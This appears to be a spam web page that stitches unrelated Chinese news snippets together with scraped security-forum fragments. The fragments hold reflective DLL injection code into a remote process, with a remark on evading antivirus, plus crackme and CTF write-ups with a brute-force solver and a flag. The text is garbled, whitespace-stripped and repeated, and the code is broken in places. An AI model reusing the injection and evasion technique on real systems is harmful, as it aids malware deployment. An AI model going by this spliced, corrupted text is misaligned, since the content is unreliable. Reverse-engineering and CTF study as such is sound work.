www.527sunbet.com

”来自北京的“房车族”张迎春说。原标题:贯彻落实绿色发展理念切实保护绿水青山发挥西江黄金水道优势带动各项事业发展  11月8日,市委书记、我市江河湖库总河长李新元到郁江巡河并调研两岸各项建设。od无法调试,先使用ida静态分析,发现该程序加载驱动,patch掉驱动后再动态调试。【南宁周边发现“活化石”版纳鱼螈】南国早报的消息,近日,南宁市动物园披露该园所承担的一项全国第二次野生动物资源调查项目的阶段性成果,表示在南宁周边发现数十种两栖爬行类动物,其中包括“活化石”版纳鱼螈,以及2015年新发布物种——广西睑虎等。 它看起来像这样:在某些情况下,调用栈中函数调用的数量超出了调用栈的实际大小,浏览器通过抛出一个错误(如下所示)来采取行动:https:///max/800/1*在单线程上运行代码可能会更容易一些,因为不必担心多线程环境中出现的复杂场景,例如死锁。(完)+1,2015年11月,示范区里的“荷田水乡”荣获农业部颁发的全国休闲农业与乡村旅游示范点称号。映射一个VA到PA所需要的转换级别取决于CPU类型。,LPVOIDlpBuffer=HeapAlloc(GetProcessHeap(),0,dwLength);//创建缓冲区if(ReadFile(hFile,lpBuffer,dwLength,dwBytesRead,NULL)==false)//将DLL数据复制到缓冲区BreakForError("FailedtoreadtheDLLfile");HANDLEhTargetProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPid);HANDLEhMoudle=LoadRemoteLibraryR(hTargetProcess,lpBuffer,dwLength,NULL);//获取加载器的地址(文件偏移)DWORDdwReflectiveLoaderOffset=GetReflectiveLoaderOffset(lpBuffer);//在目标进程分配内存(RWX)LPVOIDlpRemoteLibraryBuffer=VirtualAllocEx(hProcess,NULL,dwLength,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);//写数据WriteProcessMemory(hProcess,lpRemoteLibraryBuffer,lpBuffer,dwLength,NULL);//线程函数的地址=基地址+文件偏移LPTHREAD_START_ROUTINElpReflectiveLoader=(LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer+dwReflectiveLoaderOffset);//创建远程线程hThread=CreateRemoteThread(hProcess,NULL,1024*1024,lpReflectiveLoader,lpParameter,(DWORD)NULL,dwThreadId);//基址-在Dropper进程中开辟的堆空间的起始地址UINT_PTRuiBaseAddress=(UINT_PTR)lpReflectiveDllBuffer;//得到NT头的文件地址UINT_PTRuiExportDir=(UINT_PTR)uiBaseAddress+((PIMAGE_DOS_HEADER)uiBaseAddress)-e_lfanew;//获得导出表结构体指针的地址UINT_PTRuiNameArray=(UINT_PTR)(((PIMAGE_NT_HEADERS)uiExportDir)-[IMAGE_DIRECTORY_ENTRY_EXPORT]);//该调用中,第一个参数即为导出表结构体映射到内存的相对虚拟地址//结果为找到到导出表结构体的内存地址uiExportDir=uiBaseAddress+Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)-VirtualAddress,uiBaseAddress);//得到导出表名称数组在内存中的地址RVAuiNameArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfNames,uiBaseAddress);//得到导出函数地址表在内存中的地址RVAUINT_PTRuiAddressArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfFunctions,uiBaseAddress);//得到函数序号地址表在内存中的地址UINT_PTRuiNameOrdinals=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfNameOrdinals,uiBaseAddress);//导出函数的数量DWORDdwCounter=((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-NumberOfNames;while(dwCounter--){//这里需要将获取到的各表的RVA转化为各表实际的文件偏移char*cpExportedFunctionName=(char*)(uiBaseAddress+Rva2Offset((*(DWORD*)uiNameArray),uiBaseAddress));if(strstr(cpExportedFunctionName,"ReflectiveLoader")!=NULL){//获取地址表起始地址的实际位置uiAddressArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfFunctions,uiBaseAddress);//根据序号找到序号对应的函数地址uiAddressArray+=(*(WORD*)(uiNameOrdinals)*sizeof(DWORD));//返回ReflectiveLoader函数的文件偏移,即函数机器码的起始地址returnRva2Offset((*(DWORD*)uiAddressArray),uiBaseAddress);}uiNameArray+=sizeof(DWORD);uiNameOrdinals+=sizeof(WORD);}DWORDRva2Offset(DWORDdwRva,UINT_PTRuiBaseAddress){//得到nt头在内存中的实际地址PIMAGE_NT_HEADERSpNtHeaders=(PIMAGE_NT_HEADERS)(uiBaseAddress+((PIMAGE_DOS_HEADER)uiBaseAddress)-e_lfanew);//获得节表PIMAGE_SECTION_HEADERpSectionHeader=(PIMAGE_SECTION_HEADER)((UINT_PTR)(pNtHeaders-OptionalHeader)+);//不在任意块内if(dwRvapSectionHeader[0].PointerToRawData)returndwRva;//通过遍历块,来找到相对偏移地址对应的文件偏移地址for(WORDwIndex=0;;wIndex++){if(dwRva=pSectionHeader[wIndex].VirtualAddressdwRva(pSectionHeader[wIndex].VirtualAddress+pSectionHeader[wIndex].SizeOfRawData))return(dwRva-pSectionHeader[wIndex].VirtualAddress+pSectionHeader[wIndex].PointerToRawData);//\------------------块内偏移-------------------/\-----------块在文件中的偏移------------/}}回想我们注射器实现的过程中所调用的函数,与正常的注入似乎没有太大的区别,而且像CreateRemoteProcess这种危险函数杀软抓的很严,是可以被替换掉的,而且没有发现LoadLibraryA函数。、www.vns36999.com、但这个样本有明显的特征:解析PE结构,所以当我们遇到这种样本的时候,可以考虑为反射式DLL注入。,2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。原话如下:MYSQL中utf8_unicode_ci和utf8_general_ci两种编码格式,utf8_general_ci不区分大小写,=A,=O,ü=U这三种条件都成立,对于utf8_general_ci下面的等式成立:=s,但是,对于utf8_unicode_ci下面等式才成立:=ss所以在将mysql的编码设置为utf-8的时候,=A,=O,ü=U,,左右两边的字符是可以相互替换的。

  • 博客访问: 484896
  • 博文数量: 558
  • 用 户 组: 普通用户
  • 注册时间:2018-8-17 9:5:50
  • 认证徽章:
个人简介

图片中,一只疣猪正靠在水塘边昏昏欲睡,附近一只豹子意识到这是一个不可多得的捕食机会。”  照片中,舒淇扎着马尾,画着淡淡的烟熏妆,皮肤白皙,侧脸对着镜头,一只手比着剪刀手,指甲上还涂着墨绿色美甲,可以说是很可爱了。  清华大学就业与社保中心主任杨燕绥认为,深度老龄社会正在加速到来,应对老龄化已经是“十三五“规划的重要议题之一。,爸爸在送奥吉上学的时候说“奥吉,你最好别跟爸妈走在一起,因为那一点也不酷,戴这个头盔更不酷”。他的照片由于捕捉到了虫子滑稽而又明亮的眼神以及天鹅绒般的皮肤而受到了广泛关注。。它们分布在这个国家的每个角落里。1430217。

文章分类

全部博文(440)

文章存档

2015年(532)

2014年(980)

2013年(327)

2012年(327)

订阅
www.wnsr5869.com 2018-8-17 9:5:50

分类: 国 华新闻网

1430911超模奚梦瑶时尚大片揭秘维密天使养成之路http:///dy/slidenews/24_img/2016_52/74485_1430912_:///dy/slidenews/24_t160/2016_52/74485_1430912_:///dy/slidenews/24_t50/2016_52/74485_1430912_年12月29日17:36近日,维密超模奚梦瑶为《时尚芭莎》拍摄的时尚大片曝光,为什么只有她们才能从众多超模中脱颖而出?为了维密现场最美肉体又要经过哪些魔鬼训练?《时尚芭莎》亲赴巴黎贴身探访,并独家记录天使奚梦瑶的美时美刻。1430912超模奚梦瑶时尚大片揭秘维密天使养成之路http:///dy/slidenews/24_img/2016_52/74485_1430913_:///dy/slidenews/24_t160/2016_52/74485_1430913_:///dy/slidenews/24_t50/2016_52/74485_1430913_年12月29日17:37近日,维密超模奚梦瑶为《时尚芭莎》拍摄的时尚大片曝光,为什么只有她们才能从众多超模中脱颖而出?为了维密现场最美肉体又要经过哪些魔鬼训练?《时尚芭莎》亲赴巴黎贴身探访,并独家记录天使奚梦瑶的美时美刻。,  原标题:港北区洽谈29个大项目计划投资115亿元  1月18-20日、1月21-23日,贵港市港北区委、政府领导分别率队到广东、海南等地专题开展电子信息、生物制药产业项目招商考察活动。源码已经上传至附件(pS:r3的小玩意,只给需要的人..表哥笑笑就好自绘界面和一些小细节小方法还是比较适合MFC新手参考的,代码注释已经写得含详细了这就不贴代码了)实现功能:辣鸡清理:系统临时文件,浏览器辣鸡,浏览器cookie,内存优化,vs项目辣鸡..软件管理,系统服务,软件卸载,注册表启动项,添加和删除,病毒查杀,md5查杀,白名单查杀,全路径查杀,网络流量监控,主动防御(尽情的骂我吧..后来写着写着感觉主防太难写要稳定的hookn个函数)..内含基本ado数据库编程GDI自绘实现网络监控,有个优化的小火箭,最小化时支持程序隐藏,里面有Button类,一个Button一个类这个类继承自CButton然后用此类创建对象和Button的IDC_Button关联,然后设置Button的属性,OwnDrawer为ture,这是这些按钮的,还有一些list控件颜色,静态控件字体设置,颜色设置,还有静态控件刷新防止重影的方法,剩下的就是api用法和C++语法了....[IMG][/IMG][IMG][/IMG]分析上节链接3提示的链接为:,但已经不能下载了。,这可能会很容易的发生,特别是使用递归的情况下。:0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11A一些未文档化的结构在不同Windows版本间有所变化。idapro打开,来到main函数fgets(sn,260,stru_4090E0);v3=strlen(sn)-1;if(v38||v320){sub_401BE0(aKeyLenErrorD__);return0;}输入长度为8-20个字符if(v30){do{v6=sn[v5];if(v6=0||v69)++v4;++v5;}while(v5v3);if(v4){sub_401BE0(aKeyFormatError);return0;}}字符组成为1-9big_init(b1);v22=0;big_load(b1,sn);nullsub_1();big_mul((int)b1,9);sn做为大数*9,即b1=sn*9while(1){big_init3(b2,sn);LOBYTE(v22)=1;v7=big_mul2((int)b1,(int)b2);v8=big_mul((int)b1,9)+v7;nullsub_1();if(v8||big_len((int)b1)%2!=1)gotoLABEL_16;v9=big_len((int)b1);v10=big_val((int)b1,v91);v11=big_val((int)b2,0);v12=b2;if(v10==v11)break;LABEL_17:LOBYTE(v22)=0;sub_401390(v12);if(v8){sub_401BE0(aWrongKey___);gotoLABEL_19;}}循环计算b1=b1*sn*9,直到b1长度为奇数且b1[len/2]==sn[0],其中b2==snb2_len=big_len((int)b2)-1;v14=1-big_len((int)b2);b1_len=big_len((int)b1);v16=big_compare(b1,(int)b2,b1_len+v14,1,b2_len,0);v17=big_len((int)b2);if(big_compare(b1,(int)b2,0,1,v17-1,1)+v16){v8=0;LABEL_16:v12=b2;gotoLABEL_17;}sub_401BE0(aWellDone);正向和反向比较b1和sn,长度为sn-1,即sn[1]开始的数字,至此可以确定是在求回文数。。今年荷花展将荷文化、美食文化、群众娱乐休闲以及乡村旅游文化等有机结合,推出“寻找最佳赏荷点”、荷菜·美食大赛、“荷美贵港”朗诵大赛、广西书画院书画名家作品展、“醉美荷塘青春有约”联谊交友、文艺展演及“荷乐无穷”赏荷体验、“大美荷城”随手拍等一系列参与性广、互动性强、老少皆宜、雅俗共赏的群众文化活动。(完)相关链接:上面的情景中,Word是32位无符号数,BloomWord是32或64位数,取决于ELFCLASS,Sym相应就是Elf32_Sym和Elf64_Sym。通过上述分析,我们只需将“JPyjup3eCyJjlkV6DmSmGHQ=”base64解码再rc4解密,即是sn使用在线rc4解密并有base64编码功能的,进行解密:sn=madebyericky94528 ,会议大获成功,受到了梆梆安全、腾讯安全、爱加密、几维安全、百度安全、硬土壳、金山毒霸(猎豹旗下品牌)、乐变技术、腾讯TSRC、Wifi万能钥匙、天特信息、360公司、江民科技、博文视点、华章图书、infoQ、雷锋网等数十家公司和媒体的大力支持和赞助,会场爆满。如果有疑问,请亲自访问软件供应商的网站,并在那里检查更新。OD载入,输入123456,点确定半天没反应,忽然来个内存异常。,2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。最近一直在研究和总结php中的序列化问题,发现php序列化的问题由来已久,除了在真实的php开源代码中会出现之外,如典型的执行,这种问题在ctf比赛中的也是备受青睐。保护声明Forcepoint客户通过Forcepoint云安全(包括高级分类引擎(ACE)作为电子邮件,Web和NGFW安全产品的一部分)得到保护,免受此威胁。,www.vns118855.com ,在之前的博文中,我们已经谈到了如何减少垃圾回收的暂停时间和内存消耗。处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91}处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91}在check函数中依然有反调试检查,由于程序有cache检查的bug,可继续调试,真机还不确定。。就许多方面而言,它完善了我们的预保护的体系栈。处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]